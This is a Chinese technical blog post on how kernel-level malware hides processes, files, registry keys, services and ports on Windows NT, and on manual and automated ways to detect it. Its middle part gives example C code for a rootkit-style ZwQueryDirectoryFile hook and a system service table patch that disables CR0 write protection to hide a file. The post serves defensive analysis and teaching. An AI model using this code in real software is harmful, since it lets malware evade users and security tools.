普通恶意代码技术分析与检测

exp4恶意代码分析实验报告-20202127 本次实验的重点是借用软件工具,通过工具来具体分析恶意代码,通过对后门文件的多方面分析检测,查看是否主机中有可疑对象和可疑行为,这对平时主机的使用和保护都有着重大的实际作用。这个程序对系统的正常运行是非常重要,而且是不能被结束的。这次试验任务量比之前的三次实验大了很多,而且比较侧重于自己分析,通过利用一些专业的分析工具,可以对恶意代码进行静态和动态的分析,这些工具除了wireshark在之前学习使用过,其他工具都是从没有听说过,通过这些工具的使用也让我对恶意代码有了更深的认识。以后还要加强这方面的学习。 阅读详情
1 引言
  近些年来,恶意代码依赖一些特殊的Native API函数和内核系统函数进行感染、传播、隐藏的这种趋势愈加明显代码,并大量的使用了多重加密壳、驱动关联壳、变形壳等代码保护机制和多态和变形等新的技术。传统的恶意代码查杀技术遭到了严重的挑战。
恶意代码开发者想尽了各种办法,对进程、文件、注册表、系统服务、网络服务等各方面信息进行了控制,内核级的恶意代码做得更加巧妙和隐蔽。从技术上进行分类,恶意代码使用的技术手段可以分为:(1)用户模式系统调用劫持;(2)核心模式系统调用劫持;(3)核心模式数据篡改;(4)核心模式中断处理程序劫持。
2 对进程信息的控制
  大家知道,windows操作系统给我们提供了两套公开的API函数来获得进程信息:一套是PSAPI,通过EnumProcesses()函数来枚举进程,另一套是ToolHelp32,通过Process32First()和Process32Next()函数来获得整个进程列表.现在运行在用户层的恶意代码一般都会让自己在系统进程列表中消失,原理是HOOK上述进程相关API函数,将自身进程从最后的进程列表中去除,但这样做一般很容易发现。如图2所示,PSAPI和ToolHelp32都是通过调用位于ntdll.dll中的一个native API函数NtQuerySystemInformation()获取进程信息,而函数NtQuerySystemInformation()是依靠内核函数ExpGetProcessInformation()遍历ActiveProcessLinks,通过EPROCESS结构(其中包含 ActiveProcessLinks项,类型为LIST_ENTRY)获得真实进程列表信息。整个环节中,内核态的恶意代码可以试图通过HOOK函数 NtQuerySystemInformation()和函数ExpGetProcessInformation(),将自己的相关进程从返回结果中去除或者直接从ActiveProcessLinks摘除自身相关进程信息, 即要把要隐藏的进程的EPROCESS从LIST_ENTRY中摘除。另外几乎所有的反病毒查杀软件和系统进程软件使用 PsSetCreateProcessNotifyRoutine()来监视进程创建和销毁,但是令人遗憾的是该函数最多只能设置8个回调函数,因此有不少内核级的恶意代码被动隐藏自身相关进程的时候,还主动得销毁掉其它进程监控软件的使用的回调函数,让进程监控失效。
3 对文件和注册表信息的控制
  内核恶意代码往往要对自身宿主文件和所在目录进行隐藏,达到保护自身的目地。在NT内核操作系统中,与文件和目录相关的API函数基本上都是调用 ntdll.dll中的几个Native API函数NtQueryVolumeInformationFile、NtQueryDirectoryFile、NtCreateFile、 NtVdmControl(对应内核态下为ZwQueryVolumeInformationFile、ZwQueryDirectoryFile、
ZwCreateFile、ZwVdmControl),因此许多内核级的恶意代码基本上都会HOOK上面的这些函数。我们以HOOK函数 ZwQueryDirectoryFile为例来阐明实现的基本原理:自己定义一个HookZwQueryDirectoryFile函数来处理一个名为 alice的文件名,调用老的ZwQueryDirectoryFile获取真实文件和目录信息列表,然后在这个文件和目录信息列表中删除我们要隐藏的 “alice”相关信息,最后将加工后的结果返回。对注册表的信息的控制也是采用同样的方法,对ntdll.dll中的NtEnumerateKey 、NtEnumerateValueKey或者它们的内核版本ZwEnumerateKey 、ZwEnumerateValueKey进行HOOK实现隐藏注册表。

//示例程序:自定义HOOK函数
ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile;//定义指向ZwQueryDirectoryFile函数的指针
NTSTATUS NTAPI HookZwQueryDirectoryFile(
 IN HANDLE FileHandle,
 IN HANDLE Event OPTIONAL,
 IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
 IN PVOID ApcContext OPTIONAL,
 OUT PIO_STATUS_BLOCK IoStatusBlock,
 OUT PVOID FileInformation,
 IN ULONG FileInformationLength,
 IN FILE_INFORMATION_CLASS FileInformationClass,
 IN BOOLEAN ReturnSingleEntry,
 IN PUNICODE_STRING FileName OPTIONAL,
 IN BOOLEAN RestartScan)
{
 NTSTATUS dwStAtus; //返回状态
 PFILE_BOTH_DIRECTORY_INFORMATION lpInfo; //定义一个文件目录信息结构
//调用老的ZwQueryDirectoryFile获取文件和目录信息列表
dwStAtus=pOldZwQueryDirectoryFile( FileHandle,
 Event,
 ApcRoutine, ApcContext , IoStatusBlock, FileInformation, FileInformationLength, FileInformationClass, ReturnSingleEntry, FileName, RestartScan);
//以下在文件和目录信息列表中“过滤”我们要隐藏的“alice”,将加工后的结果返回
 if (FileInformationClass == FileBothDirectoryInformation)
 {
 if (dwStAtus == STATUS_SUCCESS)
 {
 lpInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation; //文件信息存在lpInfo结构
 if (RtlCompareMemory(lpInfo->FileName,L"alice",10) == 10)
 {
 if ((ULONG)(lpInfo->NextEntryOffset) != 0)
 {
 FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
RtlCopyMemory(lpInfo,
(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset)),
FileInformationLength-(((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset))-(ULONG)FileInformation)); }
 else
 {
 FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
 return dwStAtus;
 }
 //此时返回状态码STATUS_NO_SUCH_FILE;
 }
 do{
if (RtlCompareMemory(lpInfo->FileName,L"alice",10) == 10)
{
if ((ULONG)(lpInfo->NextEntryOffset) != 0)
{ FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
RtlCopyMemory(lpInfo,(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+ (ULONG)(lpInfo->NextEntryOffset)),FileInformationLength-
(((ULONG)lpInfo + (ULONG)(lpInfo->NextEntryOffset))-(ULONG)FileInformation)); }
else
{ FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
 break;}
 continue;
 //此时返回状态码STATUS_NO_SUCH_FILE;
 }
 if (lpInfo->NextEntryOffset != 0)
{lpInfo=(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset));}
 } while (lpInfo->NextEntryOffset != 0);
 }
}
return dwStAtus;
}

对应的在恶意代码驱动程序入口DriverEntry()也要做相应的处理,通过修改系统服务信息表将系统对ZwQueryDirectoryFile的调用指向对HookZwQueryDirectoryFile的调用,完成HOOK过程.

…
//利用pOldZwQueryDirectoryFile指向原有函数ZwQueryDirectoryFile
pOldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(
KeServiceDescriptorTable->ntoskrnl.ServiceTable[*(PULONG)((PUCHAR)ZwQueryDirectoryFile+1)]);
_asm //嵌入汇编模式,取消写保护
{
 PUSH EAX
CLI //禁止中断
 MOV EAX, CR0 //将CR0中写到EAX寄存器
 AND EAX, NOT 10000H //禁止WP标志位
 MOV CR0, EAX //写回CRO
 POP EAX
}
KeServiceDescriptorTable->ntoskrnl.ServiceTable[*(PULONG)((PUCHAR)ZwQueryDirectoryFile+1)]= (ULONG)HookZwQueryDirectoryFile;//将原来的ZwQueryDirectoryFile调用指向我们自定义的函数.
_asm //恢复写保护
{
PUSH EAX
MOV EAX, CR0 //将CR0中写到EAX寄存器
 OR EAX, 10000H //恢复WP标志位
 MOV CR0, EAX //写回CRO
 STI //允许中断
 POP EAX
}
…

4对系统服务和网络信息的控制
对系统服务的控制主要是针对advapi32.dll的四个系统函数EnumServiceGroupW、
、EnumServicesStatusExW、EnumServicesStatusExA、EnumServicesStatusA进行HOOK,过滤掉返回结果中的恶意代码启动的服务信息,原理和前面的文件信息控制几乎是一样的。对网络信息的控制方法更多,比如在TDI层次上进行拦截,TDI 导出了两个设备 “//Device//Tcp ”与 “//Device//Udp”,内核恶意代码用设备过滤驱动的方法把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动,这样可以达到以达到隐藏任意端口的目的。在NDIS驱动层上进行拦截,恶意代码自己处理自身远程控制用的封包。
5 恶意代码的手工分析方法
每一种恶意代码分析方法都有自己的特点,能够分析的恶意代码特征也有较大差异,手工进行恶意代码分析需要几种方法联合使用,相互之间取长补短。通常情况下,手工分析恶意代码需要完成以下几个步骤:
S1、利用静态特征分析的方法分析恶意代码的加密和压缩特性(比如各种壳),提取恶意代码的有关的文件名称、文件校验、特征码、特征字符串等特征码;
S2、通过动态调试法来评估恶意代码运行过程中对系统文件、注册表和网络通讯状态的影响。由于这种分析方法需要实际运行恶意代码,因此可能会对恶意代码所在的操作系统构成严重安全威胁,一般处理方法是在虚拟机上运行恶意代码,并且建立前后注册表和系统快照;
S3、通过静态语义分析,根据S1和S2的结果判断恶意代码的功能模块构成、具体功能、可能使用的技术和实现方式;
S4、利用S3分析结果,再次进行跟踪调试,重点观测静态分析过程中不太明确的功能领域和实现方式;
S5、对恶意代码所有技术特征进行评估,并给出详细的报告。
根据上述的分析过程描述,虽然可以得到比较全面的恶意代码信息,但是可以看出一方面手工分析恶意代码是非常耗时和低效率的,另一方面需要分析人员具有较高的专业素质和分析经验。
6 当前恶意代码自动检测技术现状分析
  恶意代码的分析方法有多种类型,一般我们可以将恶意代码分析方法分成基于代码特征的分析方法、基于代码语义的分析方法、基于代码行为的分析方法三种。目前大部分反恶意代码软件所用的自动检测方法有病毒特征码、启发法、完整性验证等:
(1)基于特征码的检测法:这是使用最广泛和最古老的方法,通过密罐系统提取恶意代码的样木分析采集他们的独有的特征指令序列,当反病毒软件扫描文件时,将当前的文件与病毒特征码库进行对比,判断是否有文件片段与已知特征码是否匹配;
(2)启发式检测法:这种方法的思想是为恶意代码的特征设定一个阈值,扫描器分析文件时,当文件的类似恶意代码的特征程度,就将其看作是恶意代码。例如对于某种恶意代码,一般都会固定的调用特定的一些内核函数(尤其是那些与进程列表,注册表和系统服务列表相关的函数),通常这些函数在代码中出现的顺序也有一定的规律,因此通过对某种恶意代码调用内核函数的名称和次数进行分析,我们可以建立一个个恶意代码内核函数调用集合,比较待查程序调用的内核函数和数据库中已知恶意代码的内核函数调用集合的贴近度;
(3) 基于行为的检测法:利用病毒的特有行为特征来监测病毒的方法。当程序运行时,监视其行为,如果发现了病毒行为,立即报警,另外行为特征识别通常需要使用类神经网络一类方法来训练分析器,并能够准确的用形式化的方法来定义恶意代码的特征。
(4)完整性验证法:这种方法主要是检查程序关键文件(比如重要的SYS和DLL)的CRC或者MD5的值与正常值进行比较。
(5) 基于特征函数的检测方法:恶意代码要实现特定功能,必要使用系统的API函数(包括内核级和用户级的),因此如果某个程序调用了危险的特定函数集合,我们有理由怀疑其可能是恶意代码.在程序加载之前,对于引入的任何程序文件,我们扫描其代码获得其系统函数集合(这个过程可能需要代码逆向技术和虚拟机配合),与我们实现根据对多个恶意代码分析设置好的一系列特征函数集合做交集运算,就可以知道该程序文件使用了哪些危险的函数,并大致可以估计其功能和属于哪种类型.
方法一的缺点是新病毒特征码的提取速度要落后于病毒的传播,另外的缺点是无法检测到那些在运行过程中能够进行多态变形的恶意代码。方法二和方法三缺点是误报率比较高、不能识别具体病毒类型,实现时一般与神经网络和模糊聚类等方法一起使用,实现起来难度很高。方法四的检测能力十分有限,无法检测并发现动态的恶意代码和新的代码。
除此之外,实际开发中我们主要还使用以下技术:
(1)比较法。通过直接利用一些底层方法在内核驱动中直接获得信息,再与通过常规使用系统函数方法获取信息比较,如果发现两种方法得到的信息不一样,我们有理由怀疑存在恶意代码。
(2)进程状态分析法。例如通过内核线程函数KiWaitInListHead、KiWaitOutListhead等和一些寄存器标志来检测从那些ActiveProcessLinks上摘除自身隐藏的恶意代码进程。
(3)统计法。根据操作系统取某项系统信息所执行的CPU操作执行指令和指令时间的统计特征与真正系统的比较,我们也可以发现一些恶意代码的踪迹。著名的内核Rootkit检测方法EPA可以说属于这一类
以上方法中(1)和(2)较为成熟,许多杀毒软件都是采用了,方法比较可靠,但速度慢。方法(3)速度较快,但目前还不成熟,误报率较高,离真正实用高效还有很长的一段路要走,我们以后还将继续在这方面做一些工作。
〔这是去年年底的技术报告的第一篇,第二篇关于rootkit的还没有整理好,前面大牛mj0011谈了下关于rootkit的,今天这里列举的我也没有涉及到DKOM,DM,INLINE FUNCTION HOOK,HIJACK IRP等一系列深入的技术,留给大牛们继续介绍。小菜在这里感谢我的朋友welfear,牛人sinister等人的热心帮助,感谢smatrix系统开发小组的各位成员!〕
[参考文献]
[1] NAGAR R. Windows NT file system internals.New York: O.Reilly,2007
[2] (美)Jeffery Richter著.Windows 核心编程.北京:机械工业出版社,2006
[3] PolyMeta,突破 Windows NT 内核进程监视设置限制[EB/OL].http://www.whitecell.org ,2007-6-10
[4]tombkeeper的一篇技术报告,忘题目了。 

恶意代码防范技术笔记(十) 有时一台计算机内同时潜伏着几种病毒,当一个健康程序在这个计算机上运行时,会感染多种病毒,引起交叉感染。按照是否执行代码分为: 静态检测、动态检测。: 确定恶意代码的种类、症状。讨论自动诊断病毒(查毒)的。 阅读详情

相关推荐

恶意代码分析实战 Lab1

Lab 1-11将Lab01-01.exe文件传上www.virustotal.com可以看到文件匹配到已有的反病毒软件特征,部分截图如下:可以看到,大部分匹配到了w32/Ramnit系列病毒特征2使用petool分别查看lab01-01.dll和lab01-01.exe的编译时间,截图如下:第一个是.exe第二个是.dll,可以看到两个文件的编译时间仅仅相差19秒.3看是否加壳最快的当然是用PE...

baidu_41108490的博客 8817

浅谈恶意代码检测分析

现有的恶意代码变种,在实现上可大致分为两类:一类是基于基础技术的共用,恶意代码开发人员通过重用基础模块实现变种;一类是恶意代码专门针对现有防范技术而设计开发的混淆技术。混淆技术按实现机理,可分为两类:一类是干扰反汇编的混淆,使反汇编无法得到正确结果,从而阻碍进一步分析;另一类是指令/控制流混淆,此类混淆技术通常采用垃圾代码插入、寄存器重分配、等价指令替换及代码变换等方式,改变代码的语法特征,隐藏其内部逻辑关系。

2301_76161259的博客 1911

NtQuerySystemInformation判断线程是否被挂起/判断线程状态

NtQuerySystemInformation判断线程是否被挂起/判断线程状态

详解基于机器学习的恶意代码检测技术

首先介绍下机器学习的基本概念,如下图所示,往分类模型中输入某个样本特征,分类模型输出一个分类结果。这就是一个标准的机器学习检测流程。机器学习技术主要研究的就是如何构建中间的分类模型,如何构造一组参数、构建一个分类方法,通过训练得到模型与参数,让它在部署后能够预测一个正确的结果。训练是迭代样本与标签对的过程,如数学表达式 y=f(x),x表示输入的样本特征向量,y表示标签结果,使用(x,y)对f进行一个拟合的操作,不断迭代减小 y’ 和 y 的误差,使得在下次遇到待测样本x时输出一致的结果。

qq_44005305的博客 2463

手把手教你用8位单片机IO口直接驱动WS2812灯带(附完整代码和避坑指南)

本文详细介绍了如何使用8位单片机IO口直接驱动WS2812灯带,包括硬件准备、时序生成、色彩引擎与特效算法的实现,以及调试技巧与性能优化。通过汇编语言优化和精确时序控制,实现高效的LED驱动和炫酷的彩虹灯效,适合嵌入式开发者和硬件爱好者参考。

weixin_42696271的博客 304

(OpenCV)图像目标尺寸检测

  本文翻译自pyimagesearch技术博客上的一篇文章,《Measuring size of objects in an image with OpenCV》,原文作者:Adrian Rosebrock 。 https://www.pyimagesearch.com/2016/03/28/measuring-size-of-objects-in-an-image-with-opencv...

明柳梦少的博客 7万+

恶意代码分析——基础技术篇

恶意代码分析目的 获取特征码 撰写分析报告 制作专杀工具 恶意代码分析方法 静态分析基础技术(快速分析技术):检查可执行文件但不查看具体指令的一些技术。静态分析基础技术可以确认一个文件是否是恶意的,提供有关其功能的信息,有时还会提供一些信息让我们生成简单网络特征码。 动态分析基础技术:涉及运行恶意代码并观察系统上的行为,以移除感染,产生有效的检测特征码,或者两者。 静态分析高级技术:主要是对恶意代码内部机制的逆向工程,通过可执行文件装载到反汇编器中,查看程序指令来发现恶意代码做了什么。 动态分析高级技

Woolemon的博客 1万+

解决相同型号USB设备在Windows系统中重复枚举问题

本文详细解析了Windows系统中相同型号USB设备重复枚举问题的成因及解决方案。通过修改注册表、使用PsTools工具清除设备记录以及编程实现自动化处理等方法,有效解决设备识别混乱问题,特别适用于自动化测试和工业设备管理场景。

weixin_42561040的博客 566

Websense称3万多合法网站被注入恶意代码

  北京时间6月1日消息,据国外媒体报道,安全研究人员日前称,大约有3万多个来自企业、政府机构和其它组织的网站被注入恶意代码,当用户访问这些网站时,会被安装恶意软件。   据网络防护公司Websense安全主管史蒂芬·坎尼特(Stephan Chenette)表示,黑客利用一个能导致SQL注入的应用程序,在这些网站的前端页面中植入恶意javascript代码。被注入的代码伪装成一个Google ...

weixin_33946605的博客 106

EPLAN 电气制图(六):电机正反转副勾主电路绘制

【插入】→【设备】→选择 “SIE.3RV2011-1AA15”(Q1)和 “SIE.1TL0001-1DB3”(M1),放置于图纸左侧。生成端子排 X3:【端子排导航器】→新建编号 “1-20”,部件 “PXC.3211814”,放置于电机上方,功能文本标注 “电机端子”。属性设置:双击结构盒,在 “显示设备标识符” 中输入位置代号(如 “+ 柜外”),并在 “格式” 选项卡中调整线型与颜色。实用技巧:勾选【选项】→【设置】→【图形的编辑】中的 “绘制带有空白区域的结构盒”,可使元件布局更清晰。

电工 2034

基于 Simulink 的单相 PWM 整流器(四象限变流器)在高铁辅助电源系统中的建模与仿真实战教程

这是一份基于 Simulink 的实战教程。在高铁牵引供电与辅助电源系统中,单相 PWM 整流器(又称四象限变流器,4QC)是极其核心的“绿色电源”枢纽。传统的二极管整流器虽然结构简单,但会导致严重的输入电流畸变和低功率因数,对电网造成极大的谐波污染。而 PWM 整流器通过高频主动控制,不仅能将单相交流电转换为平稳的直流电,还能实现输入电流正弦化、单位功率因数(PF=1)运行,并支持能量双向流动(如列车再生制动时的能量回馈)。本教程将带你从数学模型出发,搭建一套高性能的电压电流双闭环控制系统。

amy_mhd的博客 47

一次利用Python开源工具的恶意代码分析实践

摘 要恶意代码的泛滥,给很多用户、企业带了很大的经济上的损失。恶意代码的制作者为了利益对恶意代码反分析技术做了很多工作,采用的技术手段也越来越复杂,防御起来也十分困难。因此,恶意代码的检测和分析也变得十分重要。本文主要是讲述了恶意代码,对其进行分类,通过现如今的恶意代码现状确立了恶意代码的研究,对恶意代码分析技术展开一系列的阐述,恶意代码可能存在的攻击行为,静态分析恶意代码,对特征码、行为特征以及文件完整性进行分析,恶意代码在仿真分析工具运行时对系统动态链接库的调用,恶意代码在内存中可能的所有执行路径进行动

1814

Flink上传的Jar包去了哪里?大数据

在使用Flink时,我们通常会将应用程序打包成Jar文件并将其上传到Flink集群以执行。总结起来,Flink上传的Jar包实际上会暂时存储在JobManager的本地文件系统中的一个临时目录中。在上传过程中,Flink会将Jar文件存储在JobManager的本地文件系统中的一个临时目录中。一般来说,Flink会在。希望本文对你解答了Flink上传的Jar包去了哪里的疑问,并且能够帮助你更好地理解Flink的工作原理。接下来,我们可以使用Flink命令行工具将Jar文件提交到Flink集群。

AlianBlank的博客 865

恶意代码防范技术原理

恶意代码的英文是Malicious Code,它是一种违背目标系统安全策略的程序代码,会造成目标系统信息泄露、资源滥用、破坏系统的完整性及可用性。它能够经过存储介质或网络进行传播,从一台计算机系统传到另一台计算机系统,未经授权认证访问或破坏计算机系统。通常许多人认为“病毒”代表了所有感染计算机造成破坏的程序。事实上,“恶意代码”的说法更为通用,病毒只是一类恶意代码而已。

yyj173637的博客 2375

基于STM32的智能血氧、心率、体温、血压监测系统

摘要:本文设计了一款基于STM32F103C8T6的多功能健康监测系统,可实时检测血氧、心率、体温和血压四项生理参数。系统集成MAX30102、DS18B20等传感器模块,采用OLED显示和蓝牙无线传输技术,实现一键血压测量、阈值报警及手机APP数据管理功能。硬件设计包含传感器采集、电源管理、显示报警等模块;软件采用模块化架构,实现数据采集处理、蓝牙通讯等功能。测试表明系统测量准确可靠,为家庭健康监测提供了便携解决方案。未来可扩展更多监测参数和智能分析功能。

3254968421的博客 772

超详细的Burp Suite安装使用

‌Burp Suite是一个强大的Web应用安全测试工具,适用于网络安全专业人士进行自动化网络应用程序的安全测试。‌ 它提供了在Windows和Kali Linux上安装和激活Burp Suite Professional的简便步骤,帮助用户快速集成并启用强大的网络扫描和渗透测试功能。Burp Suite的特点包括易于安装、良好的兼容性、内置的自动化工具、优秀的用户体验以及详细的教程,使得无论是安全领域的新手还是经验丰富的专家,都能轻松上手并高效地进行安全测试。此外,Burp Suite还支持扩展功能的使用

Dreams°的博客 2643

弥补传统恶意代码检测短板,机器学习技术还能这样做?

作者 | 杨秀璋来源 | 优快云博客头图 |视觉中国出品 | 优快云(ID:优快云news)这篇文章将介绍基于机器学习的恶意代码检测技术,主要参考郑师兄的视频总结,包括机器学习概...

优快云资讯 4391

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

【信安项目】基于pyqt的规则匹配的恶意代码检测系统

本文提出了一种基于PyQt的轻量级恶意代码检测系统设计方案。针对当前恶意代码检测工具存在界面复杂、依赖云端资源等问题,该系统整合了静态特征提取、机器学习模型检测和可视化分析功能。采用模块化架构,通过PyQt实现友好界面,结合pefile、lief等库进行PE文件结构解析,并集成LightGBM/XGBoost等算法进行检测。系统支持特征展示、风险评分和报告导出,适用于教学、科研等场景。技术可行性分析表明,该系统可在普通PC上运行,具有良好的工程实现基础。该研究填补了轻量级桌面检测工具的空白,为恶意代码分析提

laoman456的博客 1705

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

上一篇: Backdoor in G-Archiver
下一篇: 脱壳的艺术--2 调试器检测技术
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值